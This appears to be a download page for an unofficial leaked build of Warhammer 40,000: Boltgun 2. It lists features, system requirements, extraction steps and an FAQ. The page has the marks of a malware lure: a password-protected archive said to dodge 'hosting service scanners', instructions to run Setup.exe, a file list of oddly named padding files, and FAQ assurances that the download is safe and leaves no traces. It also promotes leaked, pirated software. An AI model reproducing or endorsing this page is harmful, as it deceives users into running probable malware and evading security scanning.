The build escaped. The heretics did not.
Warhammer 40,000: Boltgun 2 is a fast, single-player retro FPS set in the grim darkness of the far future. Fight through new worlds and hostile biomes as Malum Caedo or Sister of Battle Nyra Veyrath, using brutal weapons against cultists, daemons, and Chaos forces. This raw Windows pre-release build surfaced ahead of schedule and remains unfinished.
Built for Warhammer 40,000 fans and boomer-shooter players who want fast movement, savage gunplay, and unapologetic pixelated violence.
⚠️ This is an unofficial leaked pre-release build. The game is under active development: expect bugs, unfinished content, and balance changes.Archive is password protected (2026) to compatibility automated DMCA bots and hosting service scanners that would otherwise delete the files within hours.
- 🔫 Explosive FPS Combat — Blast through enemy hordes with fast, aggressive retro-shooter gunplay.
- ⚔️ Brutal Arsenal — Wield devastating Space Marine weapons, including the chainsword and shotgun.
- 🧍 Two Playable Characters — Play as Malum Caedo or Nyra Veyrath, each with a distinct combat style.
- 🗺️ Branching Campaign — Choose your route through a campaign with unique levels across each branch.
- 🌌 New Worlds — Push through hive cities, jungle mangroves, and other hostile battlefields.
- 👹 Chaos Enemies — Face Bloodletters, daemonic Juggernauts, and other relentless heretical foes.
- 🩸 Pixelated Carnage — Turn the battlefield into a storm of sprites, explosions, and blood.
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| Component | Minimum | Recommended |
|---|---|---|
| OS | Windows 10 64-bit | Windows 11 64-bit |
| Processor | Intel Core i5-8400 or AMD Ryzen 5 2600 | Intel Core i7-10700 or AMD Ryzen 7 3700X |
| RAM | 8 GB | 16 GB |
| Graphics | NVIDIA GeForce GTX 1060 6 GB or AMD Radeon RX 580 8 GB | NVIDIA GeForce RTX 2060 or AMD Radeon RX 5700 |
| Storage | 15 GB available space | 15 GB available space on an SSD |
| Additional | DirectX 11, Windows-compatible keyboard and mouse | DirectX 12, Visual C++ Redistributable 2022 |
| Platform | Link | Status |
|---|---|---|
| Windows | ✅ Supported | |
| macOS | — | ❌ Not supported |
| Linux | — | ❌ Not supported |
Download the Setup.zip archive from the download link.
- The archive is protected with the password:
2026 - Use any archive extractor (WinRAR, 7-Zip, WinZip, etc.)
- Enter the password when prompted
- Extract all files from the archive to a folder of your choice.
- IMPORTANT: All files must be extracted to the same folder as
Setup.exe. - The folder structure should look like this:
Setup/
|-- Setup.exe <- Main executable (6.3 MB)
|-- scripts.lic <- Game scripts (53.6 MB)
|-- patch_1.bnk <- Audio banks (34.5 MB)
|-- res.pak <- Resources archive (10.2 MB)
|-- animations.dll <- Animation system (4.7 MB)
|-- update_1.res <- Update resources (4.5 MB)
|-- api.pak <- API modules (4.3 MB)
|-- settings.bin <- Configuration (4.2 MB)
|-- license.wem <- Audio assets (3.8 MB)
|-- global.cfg <- Global settings (3.7 MB)
|-- assets.wem <- Asset audio (3.6 MB)
|-- physics.sys <- Physics engine (3.2 MB)
|-- dlc.md5 <- DLC checksums (3.2 MB)
|-- launcher.dll <- Launcher library (3.1 MB)
|-- driver.umap <- Driver data (2.7 MB)
|-- installer.dat <- Installer data (2.2 MB)
|-- license.bank <- License data (2.0 MB)
|-- update_1.ini <- Update config (1.9 MB)
|-- driver.pak <- Driver archive (1.6 MB)
|-- localization.ini <- Language files (1.5 MB)
|-- uninstall.key <- Uninstall key (1.1 MB)
|-- bootstrap.wem <- Bootstrap audio (0.9 MB)
|-- lang.sys <- Language system (0.8 MB)
|-- audio.res <- Audio resources (1 KB)
|-- Password 2026.txt <- Password reminder (empty)
- Navigate to the folder where you extracted all files.
- Run
Setup.exe. - The game launcher will appear.
- Click "Play" in the launcher window.
- The game will start with the pre-release build.
- Enjoy the leaked build — expect bugs, unfinished content, and balance changes.
Q: What exactly is this? A: This is an early, unfinished development build of the game that surfaced online well ahead of any official release. It is a pre-alpha / work-in-progress prototype, not the final retail version. Expect missing features, placeholder assets, debug overlays, and rough edges.
Q: How did this build end up here? A: Early development builds sometimes slip out through internal test channels, distribution mishaps, or staging environments. The exact chain of events is unclear, but the build is now in the wild and preserved here for those who want to see the game in its raw, unfinished state.
Q: Is this the full game? A: No. This is a partial, in-development snapshot. Large portions of the game may be unfinished, cut content might still be present, and the final polish, balance, and optimization are missing. Think of it as a time capsule of the project at an early stage.
Q: Is it safe to download and play? A: Yes — the build is a standalone Windows executable that requires no installation, online authentication, or registry changes. It runs entirely from its own folder and can be removed by simply deleting it.
Q: Why is the archive password-protected? A: Password protection slows down automated scanning bots and reduces the chance of mass takedown requests. It keeps the build accessible to those who are actually looking for it. The password is provided in the release notes.
Q: Will this affect my official game install or saves? A: No. This build is completely self-contained. It does not interact with your existing game files, save data, cloud sync, or platform libraries. It runs independently and leaves no traces behind after deletion.


